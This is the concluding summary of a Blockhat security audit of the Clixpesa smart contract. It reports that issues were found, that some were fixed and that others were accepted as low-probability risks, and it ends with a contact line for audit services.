In this audit, we examined the design and implementation of Clixpesa contract and discovered several issues of varying severity. Clixpesa team addressed issues raised in the initial report and implemented the necessary fixes, while classifying the rest as a risk with low-probability of occurrence. Blockhat auditors advised Clixpesa Team to maintain a high level of vigilance and to keep those findings in mind in order to avoid any future complications.

BLOCKHAT SECURITY

For a Smart Contract Audit, contact us at contact@blockhat.io